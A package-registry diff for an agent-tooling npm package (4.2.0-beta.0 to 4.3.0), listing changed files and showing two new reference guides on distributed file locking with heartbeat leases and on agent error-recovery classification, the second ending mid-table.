@hybridlabor-api/aos 4.2.0-beta.0 → 4.3.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.agents/graph.md +3 -1
- package/.agents/nodes.json +4 -2
- package/.claude/workflows/startcycle-dispatch.mjs +18 -5
- package/.claude/workflows/teamwork-dispatch.mjs +287 -0
- package/CLAUDE.md +37 -84
- package/CODEX.md +31 -12
- package/GEMINI.md +51 -58
- package/README.de.md +13 -12
- package/README.md +13 -12
- package/README.pt.md +13 -12
- package/THIRD_PARTY_NOTICES.md +104 -0
- package/docs/skills_table.md +1 -0
- package/installer.js +27 -10
- package/package.json +6 -1
- package/scripts/validate-skills.mjs +402 -0
- package/skills/basic/bdbmediastorm/SKILL.md +7 -5
- package/skills/basic/godmode-engineering/SKILL.md +1 -1
- package/skills/basic/godmode-shipping/SKILL.md +1 -1
- package/skills/basic/startcycle/SKILL.md +3 -1
- package/skills/basic/startcycle-graph/SKILL.md +18 -2
- package/skills/basic/startcycle-graph-user/SKILL.md +3 -1
- package/skills/basic/teamwork-preview/SKILL.md +209 -0
- package/skills/bdbrainstorm/SKILL.md +4 -3
- package/skills/github-repo/SKILL.md +1 -0
- package/skills/global_config/agent-tool-builder/SKILL.md +5 -4
- package/skills/global_config/ai-product/SKILL.md +3 -2
- package/skills/global_config/ask-tim/SKILL.md +75 -6
- package/skills/global_config/{bdb-adobe-suite-mcp.md → bdb-adobe-suite-mcp/SKILL.md} +1 -0
- package/skills/global_config/{bdb-after-effects-mcp.md → bdb-after-effects-mcp/SKILL.md} +1 -0
- package/skills/global_config/{bdb-blender-mcp.md → bdb-blender-mcp/SKILL.md} +1 -0
- package/skills/global_config/{bdb-computer-use-mcp.md → bdb-computer-use-mcp/SKILL.md} +1 -0
- package/skills/global_config/{bdb-davinci-mcp.md → bdb-davinci-mcp/SKILL.md} +1 -0
- package/skills/global_config/bdb-ecosystem-health/SKILL.md +3 -3
- package/skills/global_config/{bdb-grandma3-mcp.md → bdb-grandma3-mcp/SKILL.md} +1 -0
- package/skills/global_config/{bdb-memb-mcp.md → bdb-memb-mcp/SKILL.md} +10 -0
- package/skills/global_config/{bdb-resolume-mcp.md → bdb-resolume-mcp/SKILL.md} +1 -0
- package/skills/global_config/{bdb-rhino-mcp.md → bdb-rhino-mcp/SKILL.md} +1 -0
- package/skills/global_config/{bdb-touchdesigner-mcp.md → bdb-touchdesigner-mcp/SKILL.md} +1 -0
- package/skills/global_config/{bdb-unreal-mcp.md → bdb-unreal-mcp/SKILL.md} +1 -0
- package/skills/global_config/{bdb-vectorworks-mcp.md → bdb-vectorworks-mcp/SKILL.md} +1 -0
- package/skills/global_config/bdbresilience/SKILL.md +216 -0
- package/skills/global_config/bdbresilience/contracts/nodes-integration.md +225 -0
- package/skills/global_config/bdbresilience/references/cicd-triage.md +179 -0
- package/skills/global_config/bdbresilience/references/distributed-locking.md +235 -0
- package/skills/global_config/bdbresilience/references/error-recovery.md +210 -0
- package/skills/global_config/bdbresilience/references/two-phase-go-gate.md +151 -0
- package/skills/global_config/bdbsaashost/SKILL.md +50 -50
- package/skills/global_config/browser-automation/SKILL.md +4 -4
- package/skills/global_config/crewai/SKILL.md +3 -2
- package/skills/global_config/debugger/SKILL.md +3 -6
- package/skills/global_config/domain-modeling/ADR-FORMAT.md +47 -0
- package/skills/global_config/domain-modeling/CONTEXT-FORMAT.md +60 -0
- package/skills/global_config/domain-modeling/SKILL.md +77 -0
- package/skills/global_config/git-advanced-workflows/SKILL.md +0 -1
- package/skills/global_config/github-actions-templates/SKILL.md +0 -2
- package/skills/global_config/google-sheets-automation/SKILL.md +2 -2
- package/skills/global_config/grill-me/SKILL.md +14 -0
- package/skills/global_config/grill-with-docs/SKILL.md +24 -0
- package/skills/global_config/grilling/SKILL.md +42 -0
- package/skills/global_config/neon-postgres/SKILL.md +3 -2
- package/skills/global_config/openwiki-skill/scripts/install_daemon.sh +55 -12
- package/skills/global_config/playwright-skill/SKILL.md +1 -1
- package/skills/global_config/posix-shell-pro/SKILL.md +0 -1
- package/skills/global_config/postgres-best-practices/SKILL.md +1 -1
- package/skills/global_config/prompt-engineering-patterns/SKILL.md +0 -1
- package/skills/global_config/rag-engineer/SKILL.md +4 -3
- package/skills/global_config/react-best-practices/SKILL.md +1 -1
- package/skills/global_config/remotion/SKILL.md +0 -1
- package/skills/global_config/seo/SKILL.md +6 -41
- package/skills/global_config/systematic-debugging/CREATION-LOG.md +1 -1
- package/skills/global_config/systematic-debugging/root-cause-tracing.md +1 -1
- package/skills/global_config/turborepo-caching/SKILL.md +0 -1
- package/skills/global_config/using-neon/SKILL.md +1 -47
- package/skills/global_config/vector-database-engineer/SKILL.md +0 -1
- package/skills/global_config/web-artifacts-builder/LICENSE.txt +1 -1
- package/skills/global_config/web-artifacts-builder/SKILL.md +1 -1
- package/skills/global_config/webapp-testing/LICENSE.txt +1 -1
- package/skills/global_config/webapp-testing/SKILL.md +1 -1
- package/.agents/skills/firecrawl/SKILL.md +0 -149
- package/.agents/skills/firecrawl/rules/install.md +0 -82
- package/.agents/skills/firecrawl/rules/security.md +0 -26
- package/.agents/skills/firecrawl-agent/SKILL.md +0 -58
- package/.agents/skills/firecrawl-build/SKILL.md +0 -39
- package/.agents/skills/firecrawl-build-interact/SKILL.md +0 -68
- package/.agents/skills/firecrawl-build-onboarding/SKILL.md +0 -103
- package/.agents/skills/firecrawl-build-onboarding/references/auth-flow.md +0 -39
- package/.agents/skills/firecrawl-build-onboarding/references/project-setup.md +0 -20
- package/.agents/skills/firecrawl-build-onboarding/references/sdk-installation.md +0 -17
- package/.agents/skills/firecrawl-build-scrape/SKILL.md +0 -69
- package/.agents/skills/firecrawl-build-search/SKILL.md +0 -69
- package/.agents/skills/firecrawl-crawl/SKILL.md +0 -59
- package/.agents/skills/firecrawl-download/SKILL.md +0 -70
- package/.agents/skills/firecrawl-interact/SKILL.md +0 -84
- package/.agents/skills/firecrawl-map/SKILL.md +0 -51
- package/.agents/skills/firecrawl-scrape/SKILL.md +0 -69
- package/.agents/skills/firecrawl-search/SKILL.md +0 -60
- package/mcps/RhinoMCP/cc-plugin/.claude/settings.json +0 -10
- package/mcps/after-effects-mcp/build/index.js +0 -840
- package/mcps/after-effects-mcp/build/scripts/applyEffect.jsx +0 -153
- package/mcps/after-effects-mcp/build/scripts/applyEffectTemplate.jsx +0 -218
- package/mcps/after-effects-mcp/build/scripts/createComposition.jsx +0 -71
- package/mcps/after-effects-mcp/build/scripts/createShapeLayer.jsx +0 -147
- package/mcps/after-effects-mcp/build/scripts/createSolidLayer.jsx +0 -114
- package/mcps/after-effects-mcp/build/scripts/createTextLayer.jsx +0 -115
- package/mcps/after-effects-mcp/build/scripts/getLayerInfo.jsx +0 -192
- package/mcps/after-effects-mcp/build/scripts/getProjectInfo.jsx +0 -90
- package/mcps/after-effects-mcp/build/scripts/listCompositions.jsx +0 -50
- package/mcps/after-effects-mcp/build/scripts/mcp-bridge-auto.jsx +0 -1773
- package/mcps/after-effects-mcp/build/scripts/setLayerProperties.jsx +0 -160
- package/mcps/bdb-remoteos-mcp/queue.db +0 -0
- package/mcps/bdb-remoteos-mcp/src/bdb_remoteos_mcp/__pycache__/__init__.cpython-312.pyc +0 -0
- package/mcps/bdb-remoteos-mcp/src/bdb_remoteos_mcp/__pycache__/incus_client.cpython-312.pyc +0 -0
- package/mcps/bdb-remoteos-mcp/src/bdb_remoteos_mcp/__pycache__/main.cpython-312.pyc +0 -0
- package/mcps/bdb-remoteos-mcp/src/bdb_remoteos_mcp/__pycache__/queue.cpython-312.pyc +0 -0
- package/mcps/bdb-remoteos-mcp/src/bdb_remoteos_mcp/__pycache__/schemas.cpython-312.pyc +0 -0
- package/mcps/bdb-remoteos-mcp/src/bdb_remoteos_mcp/__pycache__/server.cpython-312.pyc +0 -0
- package/mcps/bdb-remoteos-mcp/src/bdb_remoteos_mcp/__pycache__/webhook.cpython-312.pyc +0 -0
- package/mcps/bdb-remoteos-mcp/tests/__pycache__/__init__.cpython-312.pyc +0 -0
- package/mcps/bdb-remoteos-mcp/tests/__pycache__/mock_incus.cpython-312.pyc +0 -0
- package/mcps/bdb-remoteos-mcp/tests/__pycache__/test_mcp_server.cpython-312-pytest-9.1.1.pyc +0 -0
- package/mcps/bdb-remoteos-mcp/tests/__pycache__/test_security_redteam.cpython-312-pytest-9.1.1.pyc +0 -0
- package/mcps/bdb-remoteos-mcp/tests/__pycache__/test_webhook.cpython-312-pytest-9.1.1.pyc +0 -0
- package/mcps/computer-use-mcp/dist/client.d.ts +0 -150
- package/mcps/computer-use-mcp/dist/client.js +0 -136
- package/mcps/computer-use-mcp/dist/entrypoint.d.ts +0 -16
- package/mcps/computer-use-mcp/dist/entrypoint.js +0 -26
- package/mcps/computer-use-mcp/dist/native.d.ts +0 -212
- package/mcps/computer-use-mcp/dist/native.js +0 -50
- package/mcps/computer-use-mcp/dist/server.d.ts +0 -32
- package/mcps/computer-use-mcp/dist/server.js +0 -342
- package/mcps/computer-use-mcp/dist/session.d.ts +0 -101
- package/mcps/computer-use-mcp/dist/session.js +0 -2372
- package/skills/bdbsaastraining/scripts/__pycache__/build_profile.cpython-314.pyc +0 -0
|
@@ -0,0 +1,235 @@
|
|
|
1
|
+
# 🔒 Reference Guide: Distributed File Locking & Concurrency Control
|
|
2
|
+
|
|
3
|
+
**Pattern**: Pattern 2 — Mutual Exclusion & Concurrency Control
|
|
4
|
+
**Module**: `bdb-cicd-resilience/locking`
|
|
5
|
+
**Authoritative Source**: BDB Agent OS Concurrency Specification
|
|
6
|
+
|
|
7
|
+
---
|
|
8
|
+
|
|
9
|
+
## 1. Overview & Problem Statement
|
|
10
|
+
|
|
11
|
+
In the BDB Agent OS multi-agent ecosystem, multiple autonomous agents, terminal sessions, and worktree subprocesses operate concurrently. Without rigorous synchronization, concurrent access to shared resources leads to critical data corruption:
|
|
12
|
+
- **`production_artifacts/state.json` Overwrites**: Parallel agents clobbering each other's status, findings, and phase transitions.
|
|
13
|
+
- **Git Branch & Worktree Collisions**: Concurrent `git checkout`, `git commit`, or branch operations producing index lock contention (`.git/index.lock`).
|
|
14
|
+
- **Database Migration Races**: Competing processes applying conflicting schema alterations simultaneously.
|
|
15
|
+
|
|
16
|
+
The Distributed Locking Engine provides deterministic mutual exclusion using atomic POSIX/APFS filesystem primitives, configurable lease timeouts, background heartbeat renewals, monotonic fencing tokens, and safe stale/orphan lock eviction.
|
|
17
|
+
|
|
18
|
+
---
|
|
19
|
+
|
|
20
|
+
## 2. Deterministic Atomic Locking Mechanics
|
|
21
|
+
|
|
22
|
+
### POSIX Atomic Test-and-Set
|
|
23
|
+
File creation with the flags `O_CREAT | O_EXCL` (Node.js flag `'wx'`) is guaranteed by POSIX and APFS kernel implementations to be strictly atomic.
|
|
24
|
+
|
|
25
|
+
```
|
|
26
|
+
Worker A (Attempt Acquire) Worker B (Attempt Acquire)
|
|
27
|
+
│ │
|
|
28
|
+
├─────────────────────┬───────────────────────┤
|
|
29
|
+
│ │ │
|
|
30
|
+
▼ ▼ ▼
|
|
31
|
+
[ open('...lock', 'wx') ] [ open('...lock', 'wx') ]
|
|
32
|
+
│ │
|
|
33
|
+
Kernel Awards Kernel Rejects
|
|
34
|
+
File Descriptor (FD) with code EEXIST
|
|
35
|
+
│ │
|
|
36
|
+
▼ ▼
|
|
37
|
+
[ Writes Metadata JSON ] [ Inspects Lock / Enters ]
|
|
38
|
+
[ Enters Critical Sec ] [ Polling Backoff Retry ]
|
|
39
|
+
```
|
|
40
|
+
|
|
41
|
+
If the lockfile already exists, the OS kernel immediately fails the call with `EEXIST` without modifying the target file, ensuring zero window for race conditions.
|
|
42
|
+
|
|
43
|
+
### Pre-Serialization, and the window that remains
|
|
44
|
+
1. The complete metadata JSON payload is formatted in memory *before* `fs.open(lockPath, 'wx')` is invoked.
|
|
45
|
+
2. The payload is written through the returned file descriptor and `fsync`'d (`fileHandle.sync()`) **before the handle is published to the caller**.
|
|
46
|
+
3. The descriptor is then **retained**, not closed. It is handed to the heartbeat manager and closed in `release()`. Every renewal writes through it, so a renewal can only ever land on the inode this holder created — never on whatever file currently occupies the path.
|
|
47
|
+
|
|
48
|
+
What step 2 does *not* guarantee: the **containing directory is not `fsync`'d**, so on ext4 the directory entry itself may not survive a power cut. That is deliberate and is the safe failure direction here — a missing lock is recoverable, a phantom lock is not.
|
|
49
|
+
|
|
50
|
+
The gap between `open('wx')` and the payload write is a real 0-byte window and cannot be closed from the writer side: `O_CREAT | O_EXCL` is the only atomic create-if-not-exists primitive available, and replacing it with temp+`rename()` would destroy mutual exclusion, because `rename()` overwrites its target unconditionally and every contender would win. The window is closed from the **reader** side instead, by the unreadable-lock grace in §4.
|
|
51
|
+
|
|
52
|
+
### Structured Lock Metadata Schema
|
|
53
|
+
```json
|
|
54
|
+
{
|
|
55
|
+
"lockId": "7f8b9e20-94d3-4f2a-8b1a-9f5e1284d0a1",
|
|
56
|
+
"resource": "production_artifacts/state.json",
|
|
57
|
+
"ownerId": "pid_28419_9f5e1284",
|
|
58
|
+
"pid": 28419,
|
|
59
|
+
"acquiredAt": 1757083200000,
|
|
60
|
+
"heartbeatAt": 1757083210000,
|
|
61
|
+
"ttlMs": 10000,
|
|
62
|
+
"fencingToken": 42,
|
|
63
|
+
"hostname": "denck-studio.local"
|
|
64
|
+
}
|
|
65
|
+
```
|
|
66
|
+
|
|
67
|
+
- **There is no `leaseExpiresAt` field.** The lease expiry is *derived* — `heartbeatAt + ttlMs` — and evaluated at the point of use. Storing it as well would create a second source of truth that can disagree with its own inputs on every heartbeat.
|
|
68
|
+
- **`fencingToken`**: Monotonically increasing integer, allocated per lock path. **Advisory only** — see §7.
|
|
69
|
+
- **`pid`** / **`hostname`**: Used together for liveness verification during eviction. The PID is only probed when `hostname` matches the local host, because PIDs are not meaningful across machines.
|
|
70
|
+
|
|
71
|
+
### Lease expiry as seen by the holder
|
|
72
|
+
|
|
73
|
+
`handle.isExpired()` does **not** read `heartbeatAt` from the metadata: that value is frozen at acquisition and only moved by `extend()`, so a healthy, actively-renewing lock would report expired the moment `ttlMs` elapsed. It reads the heartbeat manager's `lastRenewedAt` instead — the timestamp of the last write+truncate that actually resolved:
|
|
74
|
+
|
|
75
|
+
```
|
|
76
|
+
isExpired() === released || lockLost || Date.now() > lastRenewedAt + ttlMs
|
|
77
|
+
```
|
|
78
|
+
|
|
79
|
+
`withStateLock` relies on this: after the updater returns and before the state file is written, it throws rather than write if the lease was lost while the updater ran.
|
|
80
|
+
|
|
81
|
+
---
|
|
82
|
+
|
|
83
|
+
## 3. Lease Timeouts (TTL) & Background Heartbeat Renewal
|
|
84
|
+
|
|
85
|
+
Static lockfiles are vulnerable to permanent deadlocks if the holding process crashes or is forcefully terminated (`SIGKILL`). The engine solves this using expiring leases backed by active background heartbeat renewal.
|
|
86
|
+
|
|
87
|
+
### Heartbeat Renewal Architecture
|
|
88
|
+
1. **Configurable TTL**: The code default is **`10,000 ms`** (`ttlMs` in `LockAcquisitionOptions`). That is aggressive for CI workloads, where a single step can block on a network call for longer than 10 s; **raise it explicitly** for CI-held locks. The default is a candidate for revision once real hold times are measurable against AOS.
|
|
89
|
+
2. **Periodic Renewal Interval**: `heartbeatIntervalMs` defaults to `Math.max(10, Math.floor(ttlMs / 3))` — i.e. TTL/3 with a 10 ms floor, so a very short TTL cannot produce a busy timer.
|
|
90
|
+
3. **In-place write through the retained descriptor.** Renewal does **not** use a temporary file and does **not** `rename()`. It writes the new payload at offset 0 through the fd retained from acquisition, then `truncate()`s to the new byte length. A tempfile+rename renewal would write by *path*, which is exactly how a holder ends up clobbering a successor's lock.
|
|
91
|
+
|
|
92
|
+
Each tick:
|
|
93
|
+
|
|
94
|
+
| Step | Condition | Outcome |
|
|
95
|
+
|---|---|---|
|
|
96
|
+
| 1 | read the file **by path**; `ENOENT` | lock lost |
|
|
97
|
+
| 2 | present but unparseable | **skip the tick** — no write, no truncate, no `lastRenewedAt` advance, and *not* lock-lost |
|
|
98
|
+
| 3 | `lockId` in the file ≠ our own | lock lost (evicted or stolen) |
|
|
99
|
+
| 4 | match | `write(payload, 0)` through the fd, `truncate(Buffer.byteLength(payload))`, then record `lastRenewedAt` |
|
|
100
|
+
|
|
101
|
+
**Step 2 is deliberate.** Step 1 reads by path and can legitimately catch a successor mid-write; treating one torn read as terminal would make a healthy lock self-evict. Skipping is not silent either — `lastRenewedAt` stops advancing, so *persistent* unparseability still terminates the lease exactly one `ttlMs` later through the ordinary expiry path.
|
|
102
|
+
|
|
103
|
+
**The truncate in step 4 is not optional.** Writing a shorter payload at offset 0 leaves the tail of the previous one behind, producing permanently invalid JSON — which the §4 grace then hides for its full window, because these very writes keep refreshing `mtime`. `extend()` uses the same write+truncate and records `lastRenewedAt` only after **both** resolve, for the same reason.
|
|
104
|
+
|
|
105
|
+
"Lock lost" means: stop the timer, close the fd, mark the handle released, fire `onEvicted`, and make `isExpired()` return `true`.
|
|
106
|
+
|
|
107
|
+
```
|
|
108
|
+
[ Active Lock Lease (TTL: 15s) ]
|
|
109
|
+
0s ├──────────────────────────────────────────────────┤ 15s
|
|
110
|
+
│ │
|
|
111
|
+
▼ (Heartbeat @ 5s) │
|
|
112
|
+
5s ├── In-place write + truncate (own fd) ────────────┤ 20s
|
|
113
|
+
│ │
|
|
114
|
+
▼ (Heartbeat @ 10s) │
|
|
115
|
+
10s ├── In-place write + truncate (own fd) ────────────┤ 25s
|
|
116
|
+
```
|
|
117
|
+
|
|
118
|
+
### Release ordering
|
|
119
|
+
|
|
120
|
+
`release()` sequences **stop heartbeat → close fd → unlink**, and that ordering satisfies two unrelated constraints at once. A refactor can satisfy either while breaking the other, and neither break is visible on the other's platform:
|
|
121
|
+
|
|
122
|
+
1. **Stop before unlink** — otherwise a tick firing between the unlink and the stop reads `ENOENT` and fires `onEvicted` on a lock that was released normally: a self-inflicted false eviction signal.
|
|
123
|
+
2. **Close before unlink** — otherwise Windows leaves a pending-delete entry and the next `open(lockPath, 'wx')` fails `EEXIST` against a file that is logically already gone.
|
|
124
|
+
|
|
125
|
+
If the lease was already lost, `release()` skips the unlink entirely: the file at that path belongs to a successor now.
|
|
126
|
+
|
|
127
|
+
---
|
|
128
|
+
|
|
129
|
+
## 4. Safe Stale & Orphaned Lock Eviction Protocol
|
|
130
|
+
|
|
131
|
+
When an agent encounters an existing lockfile, it must verify whether the lock is actively held or orphaned.
|
|
132
|
+
|
|
133
|
+
**Eviction is detection, not prevention.** Step 6 narrows the decide-then-break window; it does not close it. Two processes on a POSIX filesystem cannot make "decide stale" and "break" one atomic operation without a shared arbiter. The actual guarantee is weaker and worth stating plainly: an owner whose live lock is wrongly broken **learns within one heartbeat interval**, via renewal step 3.
|
|
134
|
+
|
|
135
|
+
### Multi-Step Eviction Verification
|
|
136
|
+
1. **Existence**: `stat` the lockfile. `ENOENT` ⇒ `{evicted: false, reason: "not_found"}`.
|
|
137
|
+
2. **Unreadable-lock grace**: a 0-byte *or* unparseable-JSON lockfile is evicted only once `Date.now() - stat.mtimeMs > grace`, where `grace = max(1000, callerTtlMs ?? 10000)`. Otherwise `not_stale`. This is what closes the 0-byte creation window from §2 without a debounce.
|
|
138
|
+
3. **Process liveness**: inspect `lock.pid`, and only if `lock.hostname` is absent or matches the local host. Send POSIX signal 0 (`process.kill(pid, 0)`); `ESRCH` means the holding process is dead.
|
|
139
|
+
4. **Clock-skew clamp**: `effectiveHeartbeat = Math.min(lock.heartbeatAt, Date.now())`. **There is no skew tolerance constant** — a future-dated heartbeat is clamped to now, and liveness and TTL both still run against it.
|
|
140
|
+
5. **Lease floor**: `effectiveTtl = Math.max(callerTtlMs ?? 0, lock.ttlMs ?? 10000)`. A contender may *lengthen* the grace it extends to a holder; it may never *shorten* the lease the holder recorded. The lease is a property of the owner.
|
|
141
|
+
6. **Revalidate immediately before the break**: re-read the file and compare `lockId` and `heartbeatAt` against the values the staleness decision was made on. Any change ⇒ `{evicted: false, reason: "race_lost"}` — most often a stalled holder that resumed and renewed.
|
|
142
|
+
7. **Atomic rename break protocol**:
|
|
143
|
+
- Competing evictors never call `fs.unlink()` directly, as multiple processes could race and unlink a newly acquired legitimate lock.
|
|
144
|
+
- The evictor renames the stale lockfile to a unique quarantine path: `.evict.<uuid>`.
|
|
145
|
+
- Exactly one evictor succeeds. A competing evictor receives `ENOENT` — or, on Windows, `EPERM`/`EBUSY` because another process still holds the file open — and reports `reason: "race_lost"` in either case.
|
|
146
|
+
- The winning evictor immediately unlinks the quarantine file, and the caller retries acquisition.
|
|
147
|
+
|
|
148
|
+
#### Why step 2 discriminates at all
|
|
149
|
+
|
|
150
|
+
The grace tells crash debris apart from a live holder **only because renewal writes in place and therefore refreshes the file's `mtime` on every tick**. A live holder's unreadable moment is always young relative to `mtime`; genuine debris ages without bound because nothing writes to it. Do not make renewal lazy, conditional, or optional without re-deriving this check — it silently degrades into "evict anything unreadable after 1 s".
|
|
151
|
+
|
|
152
|
+
Step 2 also cannot apply step 5's protection: there is by definition no parseable `ttlMs` to defend. When a contender passes a short TTL, **the 1000 ms floor is doing all of the safety work**, and a holder stalled mid-write for more than 1 s is evictable regardless of the lease it recorded. The window being protected is a single `write()` on an already-open fd, three orders of magnitude under the floor — a real ceiling, not a proof.
|
|
153
|
+
|
|
154
|
+
### Clock skew, stated as a change of direction
|
|
155
|
+
|
|
156
|
+
Earlier revisions of this guide documented a `+60000 ms` skew tolerance and said a future-dated lock was "treated as invalid". The code did neither: it returned `not_stale` for anything more than 1 s in the future, which made every future-dated lock **immortal — including one whose holder was provably dead**. Both the tolerance and that early return are gone. Step 4 clamps instead, so no number survives to be tuned.
|
|
157
|
+
|
|
158
|
+
---
|
|
159
|
+
|
|
160
|
+
## 5. State Partitioning vs. Locking in BDB Agent OS
|
|
161
|
+
|
|
162
|
+
The BDB ecosystem balances coarse-grained locking with fine-grained partition isolation:
|
|
163
|
+
|
|
164
|
+
```
|
|
165
|
+
+---------------------------------------------------------------------------------------+
|
|
166
|
+
| Concurrency Strategy Selection |
|
|
167
|
+
+-------------------------------------------+-------------------------------------------+
|
|
168
|
+
|
|
|
169
|
+
┌────────────────────────────────┴────────────────────────────────┐
|
|
170
|
+
▼ ▼
|
|
171
|
+
┌──────────────────────────────────────┐ ┌──────────────────────────────────────┐
|
|
172
|
+
│ Parallel Build Fan-Out │ │ Shared Mutable Resources │
|
|
173
|
+
│ (Engineering, UI/UX, Media Nodes) │ │ (state.json, git branches, worktree)│
|
|
174
|
+
├──────────────────────────────────────┤ ├──────────────────────────────────────┤
|
|
175
|
+
│ Strategy: State Partitioning │ │ Strategy: Distributed File Locking │
|
|
176
|
+
│ Each node writes isolated fragment: │ │ Wrap mutation in withStateLock, which│
|
|
177
|
+
│ production_artifacts/state.d/<id>.json│ │ serializes on the lock and writes the │
|
|
178
|
+
│ Followed by single merge agent │ │ STATE FILE via temp+rename │
|
|
179
|
+
└──────────────────────────────────────┘ └──────────────────────────────────────┘
|
|
180
|
+
```
|
|
181
|
+
|
|
182
|
+
---
|
|
183
|
+
|
|
184
|
+
## 6. TypeScript API Usage Examples
|
|
185
|
+
|
|
186
|
+
### Guarding Shared State Mutation
|
|
187
|
+
```typescript
|
|
188
|
+
import { withStateLock } from 'bdb-cicd-resilience/locking/index.js';
|
|
189
|
+
|
|
190
|
+
await withStateLock(
|
|
191
|
+
'production_artifacts/state.json',
|
|
192
|
+
async (state) => {
|
|
193
|
+
state.phase = 'build';
|
|
194
|
+
state.artifacts.backend = 'production_artifacts/02_backend_schema.md';
|
|
195
|
+
state.findings.push({ id: 'F-ENG-02', status: 'fixed' });
|
|
196
|
+
return state; // Automatically written back via atomic rename
|
|
197
|
+
},
|
|
198
|
+
{ ttlMs: 15000, acquireTimeoutMs: 10000 }
|
|
199
|
+
);
|
|
200
|
+
```
|
|
201
|
+
|
|
202
|
+
### Resource Guard with Auto-Eviction
|
|
203
|
+
```typescript
|
|
204
|
+
import { acquireLock } from 'bdb-cicd-resilience/locking/index.js';
|
|
205
|
+
|
|
206
|
+
const handle = await acquireLock('git_worktree_main', {
|
|
207
|
+
lockDir: '.git/locks',
|
|
208
|
+
ttlMs: 20000,
|
|
209
|
+
acquireTimeoutMs: 15000,
|
|
210
|
+
retryIntervalMs: 100,
|
|
211
|
+
});
|
|
212
|
+
|
|
213
|
+
try {
|
|
214
|
+
// Critical section
|
|
215
|
+
await performGitOperations();
|
|
216
|
+
} finally {
|
|
217
|
+
await handle.release();
|
|
218
|
+
}
|
|
219
|
+
```
|
|
220
|
+
|
|
221
|
+
### Inspecting a lock without taking it
|
|
222
|
+
`inspectLock(resource, { lockDir })` returns the parsed metadata, or `null`. Because renewal writes in place, a reader can catch a torn write, so `inspectLock` **re-reads once after ~5 ms** before answering `null`. An unreadable lock is not evidence of no lock — the same argument as the §4 eviction grace, applied to a public query.
|
|
223
|
+
|
|
224
|
+
---
|
|
225
|
+
|
|
226
|
+
## 7. Known limitations
|
|
227
|
+
|
|
228
|
+
These are load-bearing and deliberately not engineered away in this cycle. Do not design against a stronger guarantee than the ones listed here.
|
|
229
|
+
|
|
230
|
+
- **Fencing tokens are advisory.** No resource in this library verifies a token, and the `.seq` counter backing them is written with a plain `writeFile` whose failure is swallowed — it is **not crash-durable**. Tokens are also allocated *before* the `open('wx')` attempt, so every losing poll burns one. They are strictly increasing per process, non-decreasing across a run, and **must not be relied on for cross-host safety** until some resource actually validates them.
|
|
231
|
+
- **The default lock directory is `process.cwd()/.locks/`.** It follows the working directory of whichever process acquires, which is not the same thing as following the resource.
|
|
232
|
+
- **No re-entrancy.** A second acquisition of a path already held by the same process fast-rejects without touching the filesystem. That is correct for a mutex, but it means a sibling async task in the same process fails fast rather than queuing. Distinguishing "same logical caller re-entering" from "sibling task waiting" needs a caller identity that no consumer currently supplies.
|
|
233
|
+
- **`HeartbeatManager` is not part of the public barrel.** It requires the `lockId` and the fd from the acquiring `open('wx')`, neither of which a caller that did not acquire the lock can synthesise. That removes the *accidental* path to renewing someone else's lock, not the determined one — a caller can still open the path `r+` and copy the `lockId` out of the file. No file-based lock can prevent that.
|
|
234
|
+
- **The containing directory is not `fsync`'d** on acquisition (§2).
|
|
235
|
+
- **Windows behaviour is unverified.** The `EPERM`/`EBUSY` handling in the break protocol and in `release()` exists to be correct on Windows, but has never been executed on a Windows host.
|
|
@@ -0,0 +1,210 @@
|
|
|
1
|
+
# 🔁 Reference Guide: Error Recovery & Fallback Routing
|
|
2
|
+
|
|
3
|
+
**Pattern**: Pattern 1 — Agent Runtime & Tool Fault Tolerance
|
|
4
|
+
**Module**: `bdb-cicd-resilience/recovery`
|
|
5
|
+
**Authoritative Source**: BDB Agent OS Resilience Specification
|
|
6
|
+
|
|
7
|
+
---
|
|
8
|
+
|
|
9
|
+
## 1. Overview & Problem Statement
|
|
10
|
+
|
|
11
|
+
Autonomous AI agents executing complex development cycles interface with numerous external boundaries: MCP servers, remote HTTP APIs, local compilers, and subprocess tools. In unhardened architectures, transient hiccups (such as an HTTP 429 rate limit or network socket drop) cause immediate agent crashes, session restarts, or synthetic hallucinations where the agent fabricates tool responses.
|
|
12
|
+
|
|
13
|
+
The BDB Error Recovery Engine intercepts every runtime and tool failure, deterministically categorizing the error into a 4-tier taxonomy, executing exponential backoff with Full Jitter, diverting to secondary fallback tools when applicable, and escalating unrecoverable errors cleanly to human operators.
|
|
14
|
+
|
|
15
|
+
---
|
|
16
|
+
|
|
17
|
+
## 2. 4-Tier Failure Classification Taxonomy
|
|
18
|
+
|
|
19
|
+
Every caught exception is inspected against error codes, HTTP status codes, error messages, and causal chains:
|
|
20
|
+
|
|
21
|
+
```
|
|
22
|
+
[ Caught Exception / Rejection ]
|
|
23
|
+
│
|
|
24
|
+
▼
|
|
25
|
+
┌───────────────────────────────┐
|
|
26
|
+
│ classifyError() Logic │
|
|
27
|
+
└───────────────┬───────────────┘
|
|
28
|
+
│
|
|
29
|
+
┌──────────────────┬────────────┴───────────┬──────────────────┐
|
|
30
|
+
│ │ │ │
|
|
31
|
+
▼ ▼ ▼ ▼
|
|
32
|
+
┌──────────────┐ ┌──────────────┐ ┌──────────────┐ ┌──────────────┐
|
|
33
|
+
│ TRANSIENT │ │ TOOL_FAULT │ │ AUTH │ │UNRECOVERABLE │
|
|
34
|
+
│ (429, 503, │ │ (Crash, Bad │ │ (401, 403, │ │(Loop, Context│
|
|
35
|
+
│ ETIMEDOUT, │ │ JSON, Schema│ │ Missing │ │ Exhausted, │
|
|
36
|
+
│ ECONNRESET) │ │ Mismatch) │ │ API Token) │ │ Fatal State) │
|
|
37
|
+
└──────┬───────┘ └──────┬───────┘ └──────┬───────┘ └──────┬───────┘
|
|
38
|
+
│ │ │ │
|
|
39
|
+
▼ ▼ ▼ ▼
|
|
40
|
+
[Full Jitter [Secondary Tool [Escalate to [Fail-Closed ]
|
|
41
|
+
Retry Loop] Fallback Routing] Human Env Setup] Escalation ]
|
|
42
|
+
```
|
|
43
|
+
|
|
44
|
+
### Classification Matrix
|
|
45
|
+
|
|
46
|
+
The checks run **in this order**, and the first match wins. The order is load-bearing: `ECONNREFUSED` is classified `transient`, not `tool_level_fault`, because the transient check is reached first.
|
|
47
|
+
|
|
48
|
+
| # | Category | Actual signatures in `classifyError` | Can Retry? | Suggested Action | Handling Strategy |
|
|
49
|
+
|---|----------|-------------------|------------|------------------|-------------------|
|
|
50
|
+
